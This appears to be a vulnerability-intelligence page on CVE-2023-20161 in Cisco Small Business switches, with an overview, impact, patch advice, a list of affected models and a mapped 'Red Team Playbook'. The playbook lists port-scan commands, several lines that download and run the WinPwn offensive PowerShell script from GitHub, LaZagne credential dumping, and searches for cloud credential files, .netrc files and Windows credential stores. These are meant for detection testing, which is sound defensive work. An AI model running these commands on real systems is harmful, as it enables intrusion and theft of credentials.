CVE-2023-20161
Overview
The vulnerability arises from improper validation of HTTP requests processed by the web-based user interface of Cisco Small Business Smart and Managed Switches. Specifically, the web interface fails to correctly sanitize and verify incoming parameters, leading to memory corruption issues. This flaw resides within the firmware components handling web requests on affected switch models, enabling exploitation through crafted network packets targeting the management interface.
Vulnerability Description
Multiple vulnerabilities in the web-based user interface of certain Cisco Small Business Series Switches could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition or execute arbitrary code with root privileges on an affected device. These vulnerabilities are due to improper validation of requests that are sent to the web interface. For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with root-level privileges or cause a denial of service on affected Cisco Small Business switches. No authentication or user interaction is required, and the attack can be conducted over the network via the device's web management interface. This enables full control over the device, potentially disrupting network operations or allowing lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H) confirms network attackability without privileges or user interaction, with high impact on availability.
Solution
Cisco has released firmware updates addressing these vulnerabilities for affected Small Business Smart and Managed Switches, as detailed in their security advisory (cisco-sa-sg-web-multi-S9g4Nkgv). Administrators should apply the latest firmware versions corresponding to their switch models, such as those for the Business 250 series. The advisory provides explicit patch versions and upgrade instructions. No alternative workarounds are specified, so timely application of vendor-released patches is essential.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the web-based user interface of certain Cisco Small Business Series Switches arises from improper validation of requests sent to the interface. This flaw allows an unauthenticated, remote attacker to potentially execute arbitrary code with root privileges or induce a denial of service (DoS) condition on the affected devices. The underlying issue stems from the way the switches handle incoming requests, which can be exploited by crafting malicious inputs that bypass the expected validation checks. This could lead to unauthorized access and control over the device, resulting in severe operational disruptions or unauthorized data manipulation.
Attack vectors for this vulnerability are particularly concerning due to the remote and unauthenticated nature of the exploit. An attacker could leverage this flaw by sending specially crafted HTTP requests to the web interface of the affected switches. Given that these devices are often deployed in business environments to manage network traffic, the potential for exploitation is significant. Scenarios could include an attacker causing a DoS condition, which would render the network infrastructure inoperable, or executing arbitrary code that could lead to further network compromise, data exfiltration, or lateral movement within the organization’s network.
The real-world impact of this vulnerability poses substantial business risks. Organizations relying on these switches for network management may face prolonged downtime if a successful attack occurs, leading to loss of productivity and potential revenue. Additionally, if an attacker gains root access, they could manipulate network configurations, intercept sensitive data, or deploy malware across the network. The reputational damage from such incidents could also be significant, particularly for businesses that handle sensitive customer information or operate in regulated industries. The financial implications of recovery efforts, legal liabilities, and regulatory fines could further exacerbate the situation.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions is crucial, as vendors often release patches to address known vulnerabilities. Network monitoring tools can help identify unusual traffic patterns or unauthorized access attempts, allowing for timely responses to potential threats. Additionally, employing intrusion detection systems (IDS) can enhance visibility into network activity, enabling organizations to detect exploitation attempts in real-time. Access controls should also be enforced to limit exposure to the web interface, ensuring that only authorized personnel can interact with the management features of the switches.
In conclusion, the vulnerabilities present in the web-based user interface of Cisco Small Business Series Switches represent a critical security concern that requires immediate attention from organizations utilizing these devices. The potential for remote exploitation without authentication poses a significant threat to network integrity and operational continuity. By adopting proactive detection and mitigation strategies, organizations can safeguard their networks against these vulnerabilities, ultimately reducing the risk of exploitation and its associated consequences.
Affected Products (229)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Business 250-16p-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-16p-2g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-16t-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-16t-2g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-24fp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24fp-4g_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-24fp-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24fp-4x_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-24p-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24p-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24p-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24p-4x_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-24pp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24pp-4g_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-24t-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24t-4g_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-24t-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24t-4x_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-48p-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48p-4g_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-48p-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-48p-4x_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-48pp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48pp-4g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-48t-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48t-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-48t-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-48t-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8fp-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8fp-e-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8p-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8p-e-2g_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-8pp-D Firmware | N/A |
cpe:2.3:o:cisco:business_250-8pp-d_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-8pp-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8pp-e-2g_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-8t-D Firmware | N/A |
cpe:2.3:o:cisco:business_250-8t-d_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-8t-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8t-e-2g_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20161 |
| sec.cloudapps.cisco.com |
GitHub CVE
vendor-advisory
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sg-web-multi-S9g4Nkgv |